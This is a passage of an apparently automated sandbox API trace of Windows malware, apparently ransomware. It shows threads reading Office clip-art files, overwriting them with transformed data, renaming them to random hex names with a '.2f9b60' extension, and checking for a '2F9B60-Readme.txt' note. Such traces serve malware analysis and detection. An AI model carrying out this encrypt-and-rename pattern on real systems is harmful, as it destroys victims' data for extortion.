RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x40ab154 [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x44bccb20 [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x29a0023e [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x75baa9ca [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x130d6c2 [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x3af80eee [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x3e7b7743 [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x71cddd4a [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x1b519d05 [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x44bccb20 [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x63e29f3a [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x2014ab92 [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x3cbb0cae [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x3980c61a [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x38aa1294 [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x75712258 [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x1b7a736c [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x3a0644de [0100.276] RtlRandomEx (in: Seed=0x1fbdfa30 | out: Seed=0x1fbdfa30) returned 0x3ca8a6c9 [0100.809] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.809] ReadFile (in: hFile=0x15c0, lpBuffer=0x41bd00b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1fbdfaa0, lpOverlapped=0x0 | out: lpBuffer=0x41bd00b0*, lpNumberOfBytesRead=0x1fbdfaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.606] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bcc0 [0101.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869ec0 [0101.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0101.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b30) returned 1 [0101.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42044990 [0101.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b30 [0101.606] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8220 [0101.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8220) returned 1 [0101.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0101.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bcc0) returned 1 [0101.606] WriteFile (in: hFile=0x15c0, lpBuffer=0x42044990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1fbdfaa0, lpOverlapped=0x0 | out: lpBuffer=0x42044990*, lpNumberOfBytesWritten=0x1fbdfaa0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42044990) returned 1 [0101.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41bd00b0) returned 1 [0101.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20261fa0 [0101.957] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.957] WriteFile (in: hFile=0x15c0, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1fbdfb50, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x1fbdfb50*=0x10a, lpOverlapped=0x0) returned 1 [0102.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ae0 [0102.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ae0) returned 1 [0102.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ae0 [0102.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ab0 [0102.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262ab0) returned 1 [0102.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.331] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="af") returned 2 [0102.331] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="59") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="b8") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="9f") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="32") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="09") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="4a") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="ca") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="f4") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="86") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="20") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="a7") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="c0") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="49") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="c9") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="9a") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="f9") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="0f") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="41") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="12") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="fd") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="ba") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="8a") returned 2 [0102.332] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="12") returned 2 [0102.332] RtlInitAnsiString (in: DestinationString=0x1fbdfbc8, SourceString="af59b89f32094acaf48620a7c049c99af90f4112fdba8a12" | out: DestinationString="af59b89f32094acaf48620a7c049c99af90f4112fdba8a12") [0102.333] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fbdfb98, SourceString="af59b89f32094acaf48620a7c049c99af90f4112fdba8a12", AllocateDestinationString=1 | out: DestinationString="af59b89f32094acaf48620a7c049c99af90f4112fdba8a12") returned 0x0 [0102.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced98d0 [0102.333] wcscat (in: _Dest=0x4205d050, _Source="af59b89f3209" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\af59b89f3209") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\af59b89f3209" [0102.333] wcscat (in: _Dest=0x4205d050, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\af59b89f3209.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\af59b89f3209.2f9b60" [0102.333] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\af59b89f3209.2f9b60", NtPathName=0x1fbdfb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\af59b89f3209.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c870 [0106.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c870) returned 1 [0106.098] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecb5c0) returned 1 [0106.098] NtQueryInformationFile (in: FileHandle=0x15c0, IoStatusBlock=0x1fbdfbd8, FileInformation=0x1fbdfbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1fbdfbd8, FileInformation=0x1fbdfbe8) returned 0x0 [0106.098] NtSetInformationFile (FileHandle=0x15c0, IoStatusBlock=0x1fbdfbd8, FileInformation=0x1fbdfbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0106.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d050) returned 1 [0106.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced98d0) returned 1 [0106.921] FlushFileBuffers (hFile=0x15c0) returned 1 [0106.928] CloseHandle (hObject=0x15c0) returned 1 [0107.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x20509840 [0107.121] wcscpy (in: _Dest=0x20509840, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0107.121] wcscat (in: _Dest=0x20509840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0107.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0107.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509840) returned 1 [0107.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784490) returned 1 Thread: id = 758 os_tid = 0x12bc [0098.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf")) returned 0x20 [0099.692] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF", dwFileAttributes=0x20) returned 1 [0099.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15bc [0099.693] GetFileSizeEx (in: hFile=0x15bc, lpFileSize=0x2008f900 | out: lpFileSize=0x2008f900*=12762) returned 1 [0099.693] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x31d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.693] ReadFile (in: hFile=0x15bc, lpBuffer=0x2008f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2008f8c8, lpOverlapped=0x0 | out: lpBuffer=0x2008f880*, lpNumberOfBytesRead=0x2008f8c8*=0x4, lpOverlapped=0x0) returned 1 [0100.235] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.235] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263230 [0100.236] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632c0 [0100.236] NtQuerySystemTime (in: CurrentTime=0x2008f7c0 | out: CurrentTime=0x2008f7c0*=132462177057598000) returned 0x0 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x25ead80 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x1868842 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x7c59eab [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x67faaa9e [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0xd605e6c [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x48201cc0 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x1b849f7f [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x30600099 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x31f2ba0 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x1dc39c2 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x6182b500 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x4ce9054 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x4960c1dd [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x17a76500 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x7e37bd90 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x5e05485a [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x61bf19cb [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x1442f566 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x823fa8f [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x6f15c22e [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x63a0e962 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x453b61b3 [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x5a16c2cd [0100.236] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x7cff72fb [0100.237] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x291b1c46 [0100.237] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x24be9947 [0100.237] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x33f32209 [0100.237] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x2a603e87 [0100.237] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x247eca88 [0100.237] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x367c0e0e [0100.237] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x61e5e27d [0100.237] RtlRandomEx (in: Seed=0x2008f7b0 | out: Seed=0x2008f7b0) returned 0x56f1c05f [0100.797] ReadFile (in: hFile=0x15bc, lpBuffer=0x204bb690, nNumberOfBytesToRead=0x31da, lpNumberOfBytesRead=0x2008f7b0, lpOverlapped=0x0 | out: lpBuffer=0x204bb690*, lpNumberOfBytesRead=0x2008f7b0*=0x31da, lpOverlapped=0x0) returned 1 [0101.659] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.659] WriteFile (in: hFile=0x15bc, lpBuffer=0x201fd170*, nNumberOfBytesToWrite=0x31da, lpNumberOfBytesWritten=0x2008f7b4, lpOverlapped=0x0 | out: lpBuffer=0x201fd170*, lpNumberOfBytesWritten=0x2008f7b4*=0x31da, lpOverlapped=0x0) returned 1 [0101.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b30 [0101.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260650 [0101.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260650) returned 1 [0101.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201fd170) returned 1 [0101.981] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204bb690) returned 1 [0102.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8698c0) returned 1 [0102.013] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973f0) returned 1 [0102.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x20260650 [0102.014] SetFilePointerEx (in: hFile=0x15bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0102.014] WriteFile (in: hFile=0x15bc, lpBuffer=0x4205a770*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2008f8d0, lpOverlapped=0x0 | out: lpBuffer=0x4205a770*, lpNumberOfBytesWritten=0x2008f8d0*=0x10a, lpOverlapped=0x0) returned 1 [0102.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260290 [0102.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260290) returned 1 [0102.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260290 [0102.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202601a0 [0102.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202601a0) returned 1 [0102.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.363] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="6e") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="9d") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="60") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="b8") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="3d") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="95") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="07") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="92") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="f7") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="44") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="b8") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="75") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="c4") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="22") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="ce") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="09") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="bf") returned 2 [0102.363] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="79") returned 2 [0102.364] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="3a") returned 2 [0102.364] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="fb") returned 2 [0102.364] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="e8") returned 2 [0102.364] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="c8") returned 2 [0102.364] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="1a") returned 2 [0102.364] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="27") returned 2 [0102.364] RtlInitAnsiString (in: DestinationString=0x2008f948, SourceString="6e9d60b83d950792f744b875c422ce09bf793afbe8c81a27" | out: DestinationString="6e9d60b83d950792f744b875c422ce09bf793afbe8c81a27") [0102.364] RtlAnsiStringToUnicodeString (in: DestinationString=0x2008f918, SourceString="6e9d60b83d950792f744b875c422ce09bf793afbe8c81a27", AllocateDestinationString=1 | out: DestinationString="6e9d60b83d950792f744b875c422ce09bf793afbe8c81a27") returned 0x0 [0102.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced57f0 [0102.364] wcscat (in: _Dest=0x4205d4b0, _Source="6e9d60b83d95" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6e9d60b83d95") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6e9d60b83d95" [0102.364] wcscat (in: _Dest=0x4205d4b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6e9d60b83d95.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6e9d60b83d95.2f9b60" [0102.364] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6e9d60b83d95.2f9b60", NtPathName=0x2008f8f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\6e9d60b83d95.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cd40 [0105.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cd40) returned 1 [0105.928] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061000) returned 1 [0105.928] NtQueryInformationFile (in: FileHandle=0x15bc, IoStatusBlock=0x2008f958, FileInformation=0x2008f968, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2008f958, FileInformation=0x2008f968) returned 0x0 [0105.929] NtSetInformationFile (FileHandle=0x15bc, IoStatusBlock=0x2008f958, FileInformation=0x2008f968, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d4b0) returned 1 [0105.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced57f0) returned 1 [0105.961] FlushFileBuffers (hFile=0x15bc) returned 1 [0105.962] CloseHandle (hObject=0x15bc) returned 1 [0105.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a44a0 [0105.967] wcscpy (in: _Dest=0x202a44a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.967] wcscat (in: _Dest=0x202a44a0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0106.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a44a0) returned 1 [0106.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784520) returned 1 Thread: id = 759 os_tid = 0x12c0 [0098.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf")) returned 0x20 [0099.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF", dwFileAttributes=0x20) returned 1 [0099.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15d4 [0099.706] GetFileSizeEx (in: hFile=0x15d4, lpFileSize=0x1fa6fc20 | out: lpFileSize=0x1fa6fc20*=10076) returned 1 [0099.706] SetFilePointerEx (in: hFile=0x15d4, liDistanceToMove=0x2758, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.706] ReadFile (in: hFile=0x15d4, lpBuffer=0x1fa6fba0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fa6fbe8, lpOverlapped=0x0 | out: lpBuffer=0x1fa6fba0*, lpNumberOfBytesRead=0x1fa6fbe8*=0x4, lpOverlapped=0x0) returned 1 [0099.949] SetFilePointerEx (in: hFile=0x15d4, 